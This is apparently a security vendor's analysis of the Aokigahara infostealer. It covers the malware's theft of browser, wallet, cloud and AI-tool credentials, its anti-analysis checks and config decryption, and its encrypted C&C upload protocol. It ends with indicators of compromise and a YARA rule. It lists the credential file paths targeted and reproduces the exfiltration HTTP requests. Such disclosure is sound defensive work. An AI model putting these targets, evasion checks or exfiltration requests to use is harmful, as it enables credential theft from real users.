> Infostealer riding the AI Train
Key Points
Aokigahara, a newly observed infostealer, has been spotted in the wild. An earlier version may have been known as Kamidere or Stygian. The malware includes traditional data theft capabilities targeting browsers, VPN clients, cryptocurrency wallets, FTP/SFTP clients, password managers, and email applications, among other targets.
AI applications and development tools are notable targets. The stealer collects authentication files, session data, and configuration files associated with Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, Gemini CLI, and other tools.
Stolen AI credentials could offer opportunities for monetization. Usable credentials or session tokens could enable unauthorized access to paid AI services or the resale of compromised accounts.
Its collection scope extends to developer and cloud environments. Targets include Git credential files, SSH private keys, and AWS, Azure, and Google Cloud credential and configuration files.
Introduction
Infostealers commonly target browser passwords, session cookies, and cryptocurrency wallets. This malware combines those established capabilities with dedicated collection routines for AI applications and development tools. Its targets include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, and GitHub Copilot, alongside cloud credentials and sensitive files from local development environments.
This expanded targeting reflects a broader shift in what attackers may consider valuable, not only personal accounts and financial data, but also access to AI services and the environments developers use to build software. Valid credentials or session tokens could expose private conversations and development data, enable unauthorized use of paid services, or potentially be sold to provide access to compromised AI accounts. While the malware’s collection routines support these possibilities, the analysis does not confirm how its operators monetize the stolen data.
Stealer Capabilities and Targeted Applications
The Aokigahara infostealer includes common information-stealing capabilities, such as screenshot capture, clipboard collection, browser credential and cookie theft, cryptocurrency wallet data collection, and file grabbing. It also includes a clipper handler that drops a separate component for clipboard manipulation.
The malware targets Chromium-based browsers and Mozilla Firefox, desktop cryptocurrency wallets and browser wallet extensions, messaging applications such as Discord and Telegram, and gaming platforms such as Steam, Roblox, and Minecraft. Additional targets include password managers, VPN clients, FTP/SFTP clients, email applications, and AI development tools. The table below summarizes each handler, its targets, and any limitations identified during the analysis.
The table below lists the malware’s main capabilities and their corresponding internal function names.
FunctionWhat the handler targetssysinfoThe machine and current user: computer/user names, IP, Windows version, CPU/RAM, screen size, language, uptime, running processes, environment variables, installed software, and detected antivirus.screenshotCaptures the screen as Screenshot.jpg.clipboardCaptures clipboard contents into Clipboard.txt.browsersChromium-based browser profiles. The embedded paths name Chrome (including Beta/Canary), Edge (including Beta/Dev/Canary), Brave, Opera, Vivaldi, Yandex, 360Chrome, CentBrowser, CocCoc, Comodo Dragon, Epic Privacy Browser, Iridium, Torch, Slimjet, URBrowser, SRWare Iron, Chromium, 7Star, Amigo, Sputnik, Atom, Orbitum, QQBrowser, Naver Whale, Maxthon, Avast, AVG, CCleaner Browser, and Kinza. The handler collects browser profile data, including saved login data and cookies.firefoxMozilla Firefox profiles: saved logins (logins.json, decrypted through NSS), key database, and cookies.walletsDesktop wallet files/data for Exodus, Atomic, Electrum, Electrum-LTC, Ethereum keystore, Zcash, Armory, Bytecoin, Jaxx, Guarda, Coinomi, Wasabi, Dogecoin, DashCore, Litecoin, Bitcoin, Monero, Daedalus, Binance, Ledger Live, and TokenPocket. It also scans Chromium profiles for wallet-extension data; identified extensions include MetaMask, Phantom, TronLink, Coinbase, Binance, and Trust.discordDiscord’s Local Storage LevelDB files, looking for token-like strings. Output path: Messengers/Discord/Tokens.txt.telegramTelegram Desktop’s tdata directory.steamSteam configuration and login-related files: loginusers.vdf, config.vdf, and ssfn* files.outlookMicrosoft Office Outlook profiles. The handler extracts email addresses, IMAP/POP3/SMTP server details, and passwords from profile data.vpnOpenVPN configs (*.ovpn), NordVPN, ProtonVPN, Private Internet Access, Surfshark, and Windscribe configs (*.conf/*.json).ftpFileZilla, WinSCP, CoreFTP, FlashFXP, and SmartFTP saved sites/sessions. The code formats output with host, username, and password fields.passmanKeePass, Bitwarden, Bitwarden CLI, 1Password, Dashlane, RoboForm, NordPass, and Sticky Password data/config files.gamingRoblox cookies, Battle.net config, Epic Games config/logs, Riot Games client settings, Minecraft and Roblox launcher accounts/profiles, GOG Galaxy, Origin, and Ubisoft Game Launcher data.filegraberFiles from the user’s Desktop, Documents, and Downloads, placed under Files/Documents or Files/Crypto. The handler applies configured matching criteria; I haven’t confirmed the full extension/filter list.thunderbirdMozilla Thunderbird profile files, archived under Mails/Thunderbird/....websessionsChromium browser local/session storage, which can contain web-application session data. The table includes Chrome, Chrome Beta/Canary, Edge, Edge Beta, Brave, Opera, Vivaldi, Yandex, Arc, Thorium, and Chromium.discordforksDiscord-derived/modded clients: token-like data from their LevelDB files and files such as settings.json, config.json, storage.json, and state.json. The exact client names come from a separate table I haven’t resolved here.aisessionsAI/developer-tool credentials and sessions: Claude Code/Desktop, Codex, ChatGPT Desktop, AWS credentials/SSO and Amazon Q, Cursor, Windsurf, Kiro, GitHub Copilot/VS Code, Gemini CLI, and JetBrains AI Assistant. It also queries Windows Credential Manager.clipper/clipper_dropDrops a clipper component beneath C:\Microsoft\Vault using embedded data. The handler itself does not access the clipboard; it deploys the component responsible for clipboard manipulation. The targeted cryptocurrency wallets or address formats have not been confirmed.ideThe ide handler collects local data from code editors and developer tools, including VS Code, Cursor, Windsurf, and JetBrains products. Notable targets include Git credential files, files under .ssh that may contain private keys, AWS/Azure/Google Cloud credential and configuration files, and GitHub Copilot storage. It passes matching file contents to the malware’s upload routine. If usable secrets are exposed, attackers could gain access to source code repositories, cloud resources, and other development services.
AI Data Theft
The more distinctive capability is the aisessions handler, which targets AI applications and development tools. These include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, and Gemini CLI, alongside AWS credentials and single sign-on (SSO) data. This extends the malware’s collection beyond traditional personal accounts to authentication files, session data, and configuration files associated with AI-assisted development and cloud environments.
The paths below identify the handler’s collection targets. Depending on the application, these files may contain tokens, credentials, session data, or settings; not every targeted file necessarily contains authentication secrets.
TargetTargeted pathsClaude Code and Claude Desktop%s\.claude\credentials.json %s\.claude.json %s\Claude%s\Packages\Claude_pzs8sxrjxfjjc\LocalCache\Roaming\ClaudeCodex%s\.codex\auth.json %s\.codex\config.toml %s\.codex\.envChatGPT Desktop%s\Packages\OpenAI.ChatGPT-Desktop_2p2nqsd0c76g0\LocalCache\Roaming\ChatGPTCursor%s\Cursor\User\globalStorage\state.vscdb%s\Cursor\User\globalStorage\storage.json%s\Cursor - Insiders\User\globalStorage\state.vscdb%s\Cursor - Insiders\User\globalStorage\storage.jsonAWS CLI and SSO%s\.aws\credentials%s\.aws\config%s\.aws\sso\cacheAmazon Q%s\amazon-q\data.sqlite3Kiro IDE%s\.aws\sso\cache\kiro-auth-token.json%s\Kiro\User\globalStorage\kiro.kiroagent\profile.jsonWindsurf%s\Windsurf\User\globalStorage\state.vscdb%s\Windsurf - Next\User\globalStorage\state.vscdbCodeium%s\.codeium\config.jsonVisual Studio Code%s\Code\User\globalStorage\state.vscdb%s\Code - Insiders\User\globalStorage\state.vscdbGitHub Copilot%s\.copilot\config.json%s\.copilot\hosts.jsonGoogle Gemini CLI%s\gemini-cli-workspace-token.json%s\.gemini-cli-workspace-master-key%s\.gemini\.env%s\.gemini\config.jsonJetBrains AI Assistant%s\JetBrains\*%s\JetBrains\%s\options\AIAssistantQuotaManager2.xml
Attackers target these files because they may contain authentication tokens, API keys, cloud credentials, and session data. If valid and usable, these secrets can allow attackers to access AI services or cloud environments without entering a password, potentially exposing private conversations, source code, and other sensitive information. Compromised accounts may also be used to consume paid services, generate unauthorized charges, or support further attacks.
Anti-Analysis
The infostealer includes several known anti-analysis checks, most of which run only when their corresponding configuration flags are enabled. The results of these checks determine whether the malware continues execution. It also dynamically resolves Windows API functions using hashes and uses control-flow flattening in some parts of the code, particularly around the configuration decryption routine.
When the language-check flag is enabled, the malware checks the system’s keyboard layout and Windows UI language. If either matches a language ID represented in the bitmask 0x6C0400C8601, the malware stops execution. The excluded language settings are listed below.
IDLanguage/region0x0419Russian — Russia0x0422Ukrainian — Ukraine0x0423Belarusian — Belarus0x0428Tajik — Tajikistan0x042BArmenian — Armenia0x042CAzerbaijani (Latin) — Azerbaijan0x0437Georgian — Georgia0x043FKazakh — Kazakhstan0x0440Kyrgyz — Kyrgyzstan0x0442Turkmen — Turkmenistan0x0443Uzbek (Latin) — Uzbekistan
The second configuration flag enables analysis-environment checks, including anti-debugging, virtual machine detection, and sandbox detection. The anti-debugging checks include:
Inspection of debugger-related flags in the Process Environment Block (PEB).
Queries for the process debug port and debug object.
A debug-output string check.
Inspection of hardware breakpoint registers (DR0–DR3).
The malware checks for indicators of virtualized or analysis environments, including:
Hypervisor identifiers obtained through the CPUID instruction.
Registry entries and running processes associated with virtual machine guest tools.
Firmware and System Management BIOS (SMBIOS) fingerprints.
A low number of running processes.
Suspicious usernames and computer names.
Display characteristics and available hardware resources.
The malware also checks usernames and computer names against strings commonly associated with test or analysis environments. The inspected strings include:
"sandbox", "malware", "virus", "sample", "test", "user", "admin", "CurrentUser", "John", "Peter", "JOHN", "John Doe", "WDAGUtilityAccount"
Additional checks monitor cursor movement and the number of running processes. These signals may help the malware identify automated analysis environments.
Configuration
The encrypted configuration blob is stored in the .stgcfg section. It begins with a four-byte magic value STGC, followed by the ciphertext length, a 16-byte initialization vector (IV) used for AES-CBC decryption, and the encrypted configuration data.
struct EncryptedConfigBlob
{
DWORD magic; // Four-byte configuration magic
DWORD ciphertext_len; // Encrypted configuration size in bytes
BYTE iv[0x10]; // 16-byte AES-CBC initialization vector
BYTE ciphertext[]; // Encrypted configuration data
};
The AES IV is stored in the .stgcfg section, while the malware derives the AES key from a specific seed using the algorithm below. The routine produces a 32-byte key used to decrypt the configuration with AES-256-CBC.
"""
Author: @Tera0017/Check Point Research
"""
def decrypt_aes_key(seed: int, length: int = 32) -> bytes:
key = bytearray()
for i in range(length):
seed ^= (seed >> (8 * (i & 3))) & 0xFF
seed = (seed * 0x01000193) & 0xFFFFFFFF
seed ^= seed >> 16
key.append(seed & 0xFF)
return bytes(key)
The decrypted configuration contains the command-and-control (C&C) URL, the server’s X25519 public key, a build ID, and a gate token used for communication. It also includes a module bitmask that controls which capabilities are executed, flags for language and analysis-environment checks, TLS certificate pinning settings, and up to three fallback URLs.
struct DecryptedConfig
{
char base_url[0x100];
BYTE server_x25519_public_key[0x20];
char build_id[0x20];
char gate_token[0x40];
DWORD module_mask;
BYTE unk_184[0x404];
BYTE language_check;
BYTE analysis_environment_check;
BYTE unk_58A;
BYTE tls_certificate_sha256[0x20];
BYTE tls_pin_enabled;
BYTE fallback_urls[3][0x100];
BYTE fallback_count;
};
The malware uses the module_mask bitmask in its configuration to control which built-in capabilities are executed. Each entry in the module-dispatch table contains a function pointer and an associated feature mask. During dispatch, the malware performs a bitwise AND between module_mask and the entry’s feature mask. A nonzero result selects the corresponding function for execution.
All module implementations remain embedded in the executable, even when disabled in the configuration.
Network
The malware retrieves its C&C connection settings from the decrypted configuration. It uses the /gate path as the base for three endpoints that handle session establishment, stolen data uploads, and session completion.
PathDescription/gate/handshakeEstablishes an upload session by sending the client’s raw 32-byte X25519 public key. The malware requires an HTTP 200 response before enabling uploads./gate/chunkUploads collected information packaged into ZIP archives and encrypted using AES-256-GCM. Each request body contains a 12-byte nonce, ciphertext, and a 16-byte authentication tag. Headers identify the upload label and sequence number./gate/completeSignals the end of the upload phase by sending the eight-byte marker COMPLETE. The malware expects an HTTP 200 response and subsequently performs local session cleanup. This notification does not independently establish that every upload succeeded.
The stealer generates an X25519 key pair consisting of a public key and a private key. It then computes a shared secret using its private key and the server_x25519_public_key stored in the decrypted configuration. The malware derives the communication encryption key from this shared secret using SHA-256 and the fixed string aokigahara. The resulting 32-byte key is used for AES-GCM encryption.
/handshake
The initial handshake registers the upload session with the C&C server and sends the client’s 32-byte X25519 public key in the request body. The request headers include the build ID, gate token, session ID, hardware identifier, and key exchange algorithm.
POST /gate/handshake HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: cae87a25
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
X-Session: ca47b44161834cb70a224dbe3d92a383
X-HWID: 69B506A1
X-KEX: x25519
Content-Length: 32
Host: $SERVER
$CLIENT_X25519_PUBLIC_KEY
/chunk
For each executed collection module, the malware uploads an AES-GCM-encrypted ZIP archive to /gate/chunk. The X-Chunk header identifies the type of stolen data, using module labels such as sysinfo, browsers, firefox, or aisessions. The X-Chunk-Index header identifies the upload’s sequence number, which is also included in the request body.
The malware allocates an upload buffer with a size equal to the ZIP archive’s size plus 28 bytes. The buffer begins with a 12-byte AES-GCM nonce, formed by combining the four-byte little-endian chunk index with eight randomly generated bytes. The encrypted ZIP archive follows the nonce, and a 16-byte AES-GCM authentication tag is appended at the end.
POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: sysinfo
X-Chunk-Index: 0
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 3233
Host: $SERVER
\x00\x00\x00\x00$RANDOM_8_BYTES || $AES_GCM_CIPHERTEXT || $GCM_AUTH_TAG_16_BYTES
The next example uploads screenshot data with a chunk index of 1. The request body begins with \x01\x00\x00\x00.
POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: screenshot
X-Chunk-Index: 1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 10066
Host: $SERVER
\x01\x00\x00\x00$RANDOM_8_BYTES || $AES_GCM_CIPHERTEXT || $GCM_AUTH_TAG_16_BYTES
/complete
After uploading all ZIP archives, the malware sends a final HTTP POST request to /gate/complete on the C&C server. The request body contains the eight-byte message COMPLETE, indicating that the upload process has finished.
POST /gate/complete HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 8
Host: $SERVER
COMPLETE
The stealer appears to be under active development, with changes to its HTTP User-Agent string observed across versions. The latest analyzed samples use Microsoft-CryptoAPI/10.0 for communication with the server.
Conclusion
The malware retains the broad collection capabilities expected of an infostealer, but its dedicated targeting of AI applications and developer tools is particularly notable. By collecting authentication files, application storage, Git credentials, SSH-related files, and cloud configuration data, it reaches beyond traditional consumer accounts into AI-assisted development and cloud environments.
The targeting of AI sessions creates a potential route to monetization through unauthorized use of paid services or the resale of compromised access. It may also create opportunities for data extortion. Users can share sensitive business information, proprietary source code, and other confidential material with AI services. If stolen credentials or session tokens provide access to conversation histories or uploaded files, attackers could potentially threaten to disclose that information to demand payment.
The key finding is that AI application credentials and session data are part of this malware’s collection scope and should be treated as sensitive assets alongside browser sessions, cloud credentials, and developer keys.
Indicators of Compromise
DescriptionValueAokigahara SHA1007137599bc4d69ee952a5228b5fcb2c3b9a95a700d52c7e759d878f0d8a117502f6d854af13f00704eddccb79db41e03a4ee8542e8a33d7f1d9fe18057a2d1dedeb93b7765c455a9e0c469e7cbe4843079ddf5cc7d6ca2e02f860f87d4d18c83db9d3310b74ce90a39278fb97fe94f6306af71cbe6795030c46ac5555cf8f305c1345a21d0802c52bf52cd80d8d0bad2e08856ba379e425e2e90e49506af6310e76150cee3f2b89f0fbe39106ab2898db109f090f69792cb926a416766d47a30a05009c13be0d64130f2710cf9863bdd6724e8912600505b6fb7ef2133dc00ad81638e6b0a2f8f163b4d694ce477165151d8013ca3ab3dab9cd37f4ed9870cc83e87a771701db4fa798b309cb25227408406dde4c69de8a1835f1e0b1eda3dc4b39682ecad3eba88cbbc44e18e041b5a0c668392ff4d036f3f9660c2698311e1a6a6e08a01cc3f1455af2c4ecd59a3d7802cd7a1a7248720f3ac79082841b006582f20799b314a91a97a18db74f2b6df984c9a188a79b4e65a06b811cb6ccfdcb277a0277729443d15f17a441fa0eda1cb8dc11bdb8baf342b83079fb650cd6bb1b132d1e072236f87cd914dc583ca2163460d656bfcfba1e94d7f1d501724076fcf98459e14b68321d45f72045f165d737f2d43ba603d444dfa5d9e6f05805211e45f306b84a82cfe736635c176a424e7479dc21ef070e39f651118a804882374dc2dfa3e386662362a326070d83c167251873b389bd783781cf6c241e37b8fc5ffeefbd1d89a82b74cf2d92b49eac244371fc1642f0548b807b0a4a2e7ea5d7b4c82a28099fc5a8cbbd40173f8ac0aded9044fdb4a5982cdc77108c585d14b1567053b8f8a58ea78c255f2f30b116ca3dc48ff5783c3bb7391d671866e27b30737fa46f2ff93e33f45008cf306233954ea898324e0fffc7977f8ff591993819123d33c29709533586eeaf3ffe2c3a4f1d005aee863b7aee7cc7bd3696baa239c479f9f5103618214972890f1a473b385e21a96687a33f79f9cab0627aec7218e1a8f438b2c29b46086b417181deb958e8b276a9d1fbf43aaeb49864108c92af50feeb5d9e3b3efaa398183c56a0c3c59a1425bfdcdffda9e8b308f478b147426bea548a24f7f39c279770b5dd21fbed7f73284417d2645adb6e7e94959daf483f93058500840f4485feb1385975ef13f08148cdc679f50fa0cc6d456414c0acf463e06f95f5bd3d8355758fca6b534595d1875441ffb8c076856e366d1f4f5c74a67948c6b66dc4b4d40d72b7460e6fd670b6c03d5d404b3a4ad0acd43fc8796147381074a98e8e5769044c07021f8b0cdd3ca334a13f9af2bade9e699dc250060c0fc5fa8932671eb24b03b05d00c2e9995151ae6cad54f33846f83a352457b9a44ef8b7a61d59bbaca8a848215e7e4af7cec320432c51b0b8125ef7eb755f1e3f6bf8586794777466a639057dcb5fadf206dc163f63ebf66f984042b00c671218135fe11fbb89d33efa712ffb8590626bd88fecab8f61a024f5a42a9a91b0a9871a1613c7fb3ef5613b62dcc9ba2a5eee9dd941ad08766603c89a45869b6393c0d3fb76f771a9418c2d152c621929ee002b63cc5033532cd00bda3d4968b1257629e613505a682dd6392004e1131b1aa3f2351a0bc7adb84d14699c809a116106da40b3f641c11b0db34d0f1c5e6a09fffca381f6624d2def1083284ca486306e7c6c860007f8f49de8e9848b538bd7acdc6bfcdf556e073a196a9bfa01da418b5783c2395fb22c7ec96eb8f17dba69f6d25b7f5c529b25d199707b69e26f7d5935602c188b1e3066b4ab9aeef7b85a8ec270915fac07af4ad7acc1868fe05dc00b98206f0f70d4007b11e56752fffb81f71c90987f4bb441fa70e91644802053cfa68be6ec0f94207282ff27e47233a15327dc2f0cca0292e6352eebf6e6e090d872aa6417a19c45dabdd6c79087fb13c73ae7b8237cc6c75fad93b2482a9c5f4522530007c72f99e082ebfc09c98bd211ff8b08efcd8ec8b9ce1fb4be83b43ce0ee9881201451c0604fb5b792bd4581f586230c07e638b85bc8010df1aa9e33ca61fda4cc89f296aef7988bdd59109e4263d0a31c886770aa8b0cf62382f620bbbf5d176295d63ed522ab9c2c8c3111a61fbf30e86b8206397ce3c0017e5ea5098c4c1d8325adb463c34694ce3a5a851e97b81a6f8d7a81119ce7be6eb452192f08fa2669228ff5978d860ca64ce0cbf40871fd66b9e3a513e73cda908dc40b7208b8c0d95d1ab8dda9a56fff790b3ddd8e9fd1274b77ff9726c4637d008a9d599c9d5f1e9003310bf73dc337b8b50131f1c0724a79161aac90c057dafefbee423e3014266218272d454a0aa3912ed8ce7767f94f62de6a30fb8e9df7c0c512f79369e0e5eae22cff71b375ad285ea89471f2510197c80e2d382e6e55f61702da3afb838fdec2f4f198c6649cc256dfadf1af939da46f037b05c0f2e599b28a20851a3ed29769a469f4dd31ebbb8a83de9d424ce23753ffddc7b39477222123b0f2c330669f05045f5447d79c8c0d0f5cb589fd85c89620d39f20034441e78574aec7ad39842a342f939eaf6aa00da33342a5ea5168d851a5c93109e07cf95c49a2abdf1af38da9995a3b6672ce6c34e9e17c39a4a4871f4a61faf74e1cceaffe26901f6076c9f37ea63ded811d412cd0f859891b0c1f066b87bb1b80a84148b4d408544325c20ee04299ae95c762b6a2ad960d2abb1999a7260c5f498532a5bb8754c2a5ae9d6b1a32a45b05edb920538e538a3d6a5fe439af196456d2ebf9556ab239661922565e1bca9ac0b335483800d35a29c25767c917725e24c21b0f2bb33e59c598845d2547ddc7f654115df2284bb3aeb36d0796e33f808eaeb33b33908327a410680c56b4491f1919a88deedebe7fba56b593e7d6655458b523d56d82485253f2e3619437c8398b7ee0f20db607025d3e06d1e8cffcd398c64871d7fcd92bf4b6f0dfd3aa2fc7b8b2ad432c4a4276da23ceb46bbab4c910e3c98085bf228519f346d071a75e44e3bad339c5ad65808285b0e87498f2ea6f669417d9c00aceaa40b38e48f662ac927bb86302934aaf96c2e28ba5523c1f3a545a0b4a00a9d5e9c8ae7583c323c59815082ac842f0bafcc01f537444e1cc5ac5b50b5e14dfb5e028dfd88a4e4fb960dd650b52c810acdf30bcdfc6e8021e7f62a3bcce0828c2eec8456bb71a74ed6305455c318295b8a39e9277f3cbdff0df0dbdbc3c1845d208661dd75fd335ef93cc12fcb9e5e6f7afde66f5c3452ed6e3cd6d5390cc708ae3d7aa084279122c0db7250096f750d6b0d34491da5aa159314129c0ff67f957d873703e35d3c90275dd7279a791d717676be15789376f7aa7d8bfff5139b54b6f98f07c051cd25d7aa465fec8da986a3cb2ce67456ef374fbdd957d370a1a4367daef439e1f110d624ce50fe0f9d9d24f61f7497bdb3332ce75676389b79cf3603d81cb231cb7c19cdb69c7c930fd5dc5097847979a965fdea4171d5bdba5fef27b53ff479a4d7046cd1f22710081a16cde9d152010819c8fb5cb611a4de920399e69cfebdfd1540c0185e74ec65acfcae1af7ba0da36c774e052ff49190f54e0ffc52f7b3f7b5e7b9e121c4ce3af6d9e3b35e5e04feda3cde96256dd3b099624e4d93fa1b2d0fd26e8b877511ea33badb4628169e5c43abd1c212b2f2a61d5e1cb7821406ca5dc8ee8d09eb2e5857fde39b44aeb48078f5396809026ec7cd90d56e5b73caa9d4eb0472bfee68d716121eec7ece53d47e50940584f4dec684a24a78f42f2f0b23f420659babb3a730b122259440091c53c12f30e9730db0663f87c67a4b9a0cf12ee59b1621af35e6d2936c0f6dc26bdc68f6d1599cf438a863af4184e1bb61e19d190555c50fdb9d4591767bf53f47d45eea1c42b066f8537baf72ffa266646bf62f5993e64a18e7494b25a185de9f63a1df961b99af633fc9fd16dadca2725d3d54aaf13ea1a62174ff6d950a5a8e5ba336f748b66745c6c1f189d3362f8cf33b18e9932d285696fee40a7fee2a87341c2f8dbc552c89bef758e4fcbd9942d06bc0c11db0af990bf4f05dfa4d86b3e3bc0a54f62e91b83f2c6fa61cf3bebefd88ea9d06007a4b85791aa851c8afbe8708247fabd8a1bc3963db3911b5e77728669fe6b7d6fa8c2424d14a0d465ab78aaf83db0d07bff402e64bc42222c8a4ee703123903c2a2117dd9Aokigahara C&C2[.]26[.]252[.]48:8080dfwioeiofwr[.]infodobeqnesmot[.]ccgate[.]dfwioeiofwr[.]infohjazfioe[.]surfkkeyyou[.]ccneihite[.]ccsomelitersofblood[.]pwClipper8d6c86e0af7807f9b5baf15e9f076bb81e012515
Yara Rule
rule aokigahara
{
meta:
author = "@Tera0017/Check Point Research"
description = "Aokigahara Stealer"
strings:
$str1 = "X-Chunk-Index: %u" ascii fullword
$str2 = "X-Build-ID: %s" ascii fullword
$str3 = "AKGRES" ascii fullword
$str4 = "AISessions/" ascii
$str5 = "\\\\.\\pipe\\akg_%lx_%lx" ascii fullword
$str6 = "sysinfo\x00screenshot\x00clipboard"
$str7 = "aokigahara" ascii fullword
$str8 = "kamidere" ascii fullword
$str9 = "/chunk" ascii fullword
$str10 = "%s\\kmd_w_%d_%d.db" ascii fullword
$str11 = ".ROBLOSECURITY" ascii fullword
$code1 = {45 69 ED B1 79 37 9E 48 C1 EF 11 48 C1 EA 20 41 31 D6 41 31 C6 41 31 FD 45 89 77 04 45 89 6F 08}
$code2 = {41 4B 47 52 45 53 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EF BE AD DE }
condition:
uint16(0) == 0x5A4D and 3 of them
}
The post Infostealer riding the AI Train appeared first on Check Point Research.